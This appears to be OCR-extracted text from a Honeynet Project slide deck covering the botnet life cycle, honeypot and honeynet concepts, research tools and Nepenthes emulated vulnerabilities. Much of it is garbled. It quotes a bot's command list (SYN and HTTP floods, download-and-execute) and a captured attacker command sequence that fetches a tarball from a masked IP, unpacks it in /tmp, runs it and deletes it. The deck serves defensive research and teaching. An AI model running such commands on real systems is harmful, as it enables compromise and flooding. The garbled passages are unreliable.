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Botnet life cycle Enc )

Computer is

Other Bot Clients =———=,2%%d | =—— — User Browsing Malicious Sites

Becomes a Bot

New Bot Rallys to
S — let Botherder 1
know it joined ——| A/V Detection

—— the team
o

JL

Retrieve the Anti

———— ANMmodue |
Download server - JL

Secure the New
Bot Client

C&C

_ Listen to the C&C

S /Peer fi
C&C ‘commands

Report Result to Retrieve the —
C & C ~<————— the C&C Channel Payload module Download server
" — —

Execute the
commands

Possible traffic to victim

On Command,
Erase all evidence

© 2009 Craig A Schiller and abandon the
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How to detect @
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Honeynet Project introduction Euc )

ADYy 199971 YOCQ 03 X A" HYQ’
] Y 19 Mailing-List
A 20007 Y Lance Spltzner /N > Y Honeynet ProjectY u a
1 Yn oo B A > Y Honeynet
Project K

”~N

A 3 3(2010.10)Y 5 QX 424 Honeynet Projectk Y
20 B X n3 e H BA




Honeynet Project introduction

A Honeynet Project € T CIT - Y. K i Q’
M ;

A, K e3> A Aywvn R[{YD
A & T AR& Y Q W

A3 f Y wn u i (Share Lesson Learned)
K DM ®T§ Y d Y Trusted Relationship

A 2009 & 20101 R&D /1

A GDH 2: Larger scale International Honeynet
Deployment

A HonEeeBox : Low Interaction sensor rollout

A Sharing, analysing and visualising data sets
A HoneyClient Improvement
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Honeynet Project Mission @

A A community of organizations actively researching,
developing and deploying Honeynets and sharing the
lessons learned.

A Awareness: G |© 0 P 0 A Ne
" N2 Y CE=38_ JK Ne A CJA
A Information: 2 w AAb » WY CE WB
nA NY :b Y 34 Y 4b 0o
LT CEAD W
A Tools: Honeynet Project 2 0 /4 Open Source ToolsY

O uToolsY» A KWBXI Aed ON 73
b No N
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Honeypot/Honeynet Technology Euc )

A What is a Honeynet ?

A High-interaction Honeypot
It is an architecture, not a product or software
Populate with live systems

A Once compromised, data is collected to learn the tools, tactics, and
motives of the Blackhat community

A Value of Honeynet
A Research : Identify new tools and new tactics, Profiling Blackhats
Early warning and prediction
A Incident Response / Forensics
A Self-defense

> >

>
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How They Work Enc )

A After successful exploitation, a bot uses TFTP, FTP, or
HTTP to download itself to the compromised host.

A The binary Is started, and connects to the hard-coded
master IRC server.

A Often a dynamic DNS name Is provided rather than a
hard coded IP address, so the bot can be easily
relocated.

A Using a special crafted nickname like USA|743634
the bot joins the master's channel, sometimes using a
password to keep strangers out of the channel
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Bots Enc )

ddos.synflood [host] [time] [delay] [port]
starts an SYN flood

ddos.httpflood [ url ][number] [referrer] [recursive = true||false]
starts a HTTP flood

scan.listnetranges
list scanned netranges

scan.start
starts all enabled scanners

scan.stop
stops all scanners

http.download
download a file via HTTP

http.execute
updates the bot via the given HTTP URL

http.update
executes a file from a given HTTP URL

cvar.set spam_aol_channel [channel]
AOL Spam - Channel name

cvar.set spam_aol_enabled [1/0]
AOL Spam - Enabled?
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IRC BOT NCHL
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# 1/ RFI Vulnerable Scanner

¥ 2/ LFI Vulnerable Scanner

# 3/ an msg when scan finish

$ 4/ msg appear once banned from google search
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$# [+] Rbout
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# Language : PERL

# Coder : BAlpHaWiX
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# [+] Usage
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Botnet Economy Enc )

A Botnets sold or for rent.
A Saw Botnets being stolen from each other.

A Observed harvesting of information from all compromised
machines. For example, the operator of the botnet can
request a list of CD-keys (e.g. for Windows or games)
from all bots. These CD-keys can be sold or used for other
purposes since they are considered valuable information.

cracksearchengine

wve Avira Premium Security
Security Internet Downloa

llllllllll

« «driver
download MaNAGEN . cuwas mue 515 mo s o
ft office

- microsoft o 2007 n
NETO G e s e 0 o 00 e v s s photesiiop
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Honeypots Enc )

A A honeypot is an information system resource whose
value lies in unauthorized or illicit use of that resource.

A Has no production value, anything going to or from a
honeypot is likely a probe, attack or compromise.

A Primary value to most organizations is information.
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Advantages Enc )

A Collect small data sets of high value.

A Reduce false positives

A Catch new attacks, false negatives

A Work in encrypted or IPv6 environments

A Simple concept requiring minimal resources.
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Disadvantages Enc )

A Management Problems
A Limited field of view (microscope)
A Risk (mainly high-interaction honeypots)




Honeynets Enc )

A High-interaction honeypot designed to capture in-depth
iInformation.

A Information has different value to different organizations.

A Its an architecture you populate with live systems, not a
product or software.

A Any traffic entering or leaving is suspect.
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How it works Y,

A highly controlled network where every packet entering or
leaving iIs monitored, captured, and analyzed.

A Data Control
A Data Capture
A Data Analysis

htto.//www.honeynet.org/papers/honeynet/
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Honeynet Project Tools Enc )

A Capture BAT A Honeymole
A Capture-HPC A Honeysnhap
A Google Hack Honeypot A Honeystick
A HIHAT(High Interaction A Honeytrap
Honeypot Analysis Toolkit 3 Honeywall CDROM
A HoneyBow A nepenthes
A HoneyC A Pehunter
A Honeyd A Sebek
A Tracker
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Honeynet Project Tools NZHL )

Capture-HPC

Capture BAT
HIHAT
Google Hack Honeypot
: . _ HoneyBow
Honeysnap m High-Interaction
/_ Honeywall
Honeytrap A
- Pehunter
racker "
Honeynet Project ] Sebek
Honeymole
}f . , | HoneyC
Honeystick |-t Collection Low-Interaction
I — Honeyd

nepenthes




What Honeynet can do ? NEHL

Attack Behavior came into Honeynet
Backdoor packets are captured
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elynx t'source http://xXxx.xxx.xxx.2:8882/foo
ecd /tmp ; tar t zxvf foo.tgz;

e./ttserve ;

erm t'rf foo.tgz ttserve ;

tmp /foo.tgz

Under st and Hac ker U@ynxriosget malware ard execsite it .)
Get Hacker Us o p e r(tp:/hoo.yxx.exx.228882)o n !
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Our Environment

A Virtual Machine Honeynet
A Advanced Server(128GB Memory)
Blade Server(SAS or SSD HDD)
VMWare ESX/vSphare
1200+ Servers, Windows XP/Vista, Linux, FreeBSD
High Interaction and Low Interaction Honeypots

A
A Distribution Honeynet/Honeypot
A Taiwan Education Network

> >

>

A Taiwan Chapter members
A GDH Project




Research Project & Achievements

A Large-Scale VM-based Honeynet
Deployment

Malware Collection and Analysis
Honey-Driven Botnet Detection

Client-Side Attack

A Malicious Web Server Exploring
A RFI Scripts Detection

A Fast-Flux Domain Service Tracking

Research Alliance

A Distributed Search and Analysis on Honeynet
Data

> > >

>

WEne )

Collection
Analysis

Detection
Tracking

Reaction
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Netflow
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Botnet Detection ey,
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Bot Detection
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Botnet Detection
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Botnet Honeynetod

A 1 HoneynetH A T1T
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o D,

Protocol Exploit Payload URL Binary

Vulner.
Shellcode Shellcoge Download Submit
Signatures Generic http http
Download Submit
H ' tftp Postgres
- Shellemu :
Module TCP/80 Vulner. Vulner. WINNT Download Submit
Portwatch Emulation S06-070 csend file
- I : }
I [ ]
@ @ I Download Submit
|
|

Nepenthes Core

E Vulnerability Modules: ® A
¢ Shellcode parsing modules: n € 4 Exploit Payload Y~ p MakURL
e FetchModules: > n HTTR FTR r dr n¢g  a n Binary

¢ Submission Modules: _ t WA n | BDiskY HZ™ ¥ &




Emulated Vulnerable Services NEHC )

vuln-asnl vuln - optix
vuln-bagle vuln -pnp
vuln -dameware vuln - sasserftpd
vuln-dcom vuln-upnp
vuln-msmq vuln -veritas
vuln-mssql vuln-wins
vuln -mydoom vuln - msdtc
vuln - netbiosname vuln - ftpd
vuln-netdde vuln -sub?
vuln -kuang?2 vuln -iis
vuln-Isass
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